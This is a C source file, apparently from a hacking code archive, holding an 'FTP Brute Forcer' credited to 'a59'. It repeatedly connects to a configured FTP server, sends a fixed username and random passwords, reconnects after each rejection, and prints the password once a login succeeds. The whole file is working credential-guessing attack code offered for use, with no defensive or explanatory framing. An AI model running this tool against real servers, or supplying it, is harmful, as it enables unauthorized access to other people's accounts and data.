./c0de/c/ftpbrute.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
#define _WIN32_WINNT 0x0403
#define WIN32_LEAN_AND_MEAN
#pragma optimize( "gsy", on )
#pragma comment( linker, "/ALIGN:4096" )
#pragma comment( linker, "/IGNORE:4108" )
#include <windows.h>
#include <winsock.h>
#include <stdlib.h>
#include <stdio.h>
#pragma comment( lib, "ws2_32" )
 
char szAcceptedChars[ ] = "abcdefghijklmnopqrstuvwxyz"; // characters in the password
char szFtpIP[ ] = "127.0.0.1"; // IP only no dns
char szUserName[ ] = "username";
int iLength = 6; // length of pass
 
char szRecvBuff[ 150 ];
char szSendBuff[ 64 ];
char szCurPass[ 12 ];
SOCKET ftpsock;
SOCKADDR_IN sin;
 
void RandomizePass( char* szString );
int DoForce( );
int AnalyzeLine( char* szCommand );
 
void RandomizePass( char* szString )
{
	for( int i = 0; i < iLength; i++ )
		szString[ i ] = szAcceptedChars[ rand( ) % strlen( szAcceptedChars ) ];
 
	szString[ iLength ] = 0;
};
 
int DoForce( )
{
	ftpsock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
 
	if( connect( ftpsock, (SOCKADDR *)&sin, sizeof( sin ) ) == SOCKET_ERROR )
		return 0;
 
	while( true )
	{
		recv( ftpsock, szRecvBuff, sizeof( szRecvBuff ), 0 );
		AnalyzeLine( szRecvBuff ); 
	}
 
	return 1;
};
 
int AnalyzeLine( char* szCommand )
{
	strtok( szCommand, " " );
 
	switch( atoi( szCommand ) )
	{
	case 331: // Password required
		RandomizePass( szCurPass );		
		wsprintf( szSendBuff, "PASS %s\r\n", szCurPass );
		send( ftpsock, szSendBuff, strlen( szSendBuff ), 0 );
		break;
	case 530: // Incorrect password
		closesocket( ftpsock ); // you cant stay connected to FTP and keep trying passes
		DoForce( );
		break;
	case 220: // User required
		wsprintf( szSendBuff, "USER %s\r\n", szUserName );
		send( ftpsock, szSendBuff, strlen( szSendBuff ), 0 );
		break;
	case 230: // User logged in
		printf( "Password for %s:21 - %s\r\n", szFtpIP, szCurPass );
		getchar( );
		ExitProcess( 0 );
	}
 
	return 0;
};
 
int main( )
{
	SetConsoleTitle( "FTP Brute Forcer by a59" );
	SetConsoleTextAttribute( GetStdHandle( STD_OUTPUT_HANDLE ), FOREGROUND_BLUE | FOREGROUND_INTENSITY );
 
	printf( "\t\t\tFTP Brute Forcer Coded by a59\n\n\n" );
 
	printf( "Press any key to start brute forcing...\n" );
 
	getchar( );
 
	WSADATA wsa;
	WSAStartup( MAKEWORD( 2, 2 ), &wsa );
 
	// set up sockaddr_in vars here so we have less to do @ DoForce( ), and it will be faster
	sin.sin_family = AF_INET;
	sin.sin_port = htons( 21 );
	sin.sin_addr.s_addr = inet_addr( szFtpIP );
 
	srand( GetTickCount( ) );
 
	printf( "Connecting to server and starting brute forcer...\n" );
 
	if( DoForce( ) == 0 )
		printf( "Error connecting to server\n" );
 
	return 0;
};

Back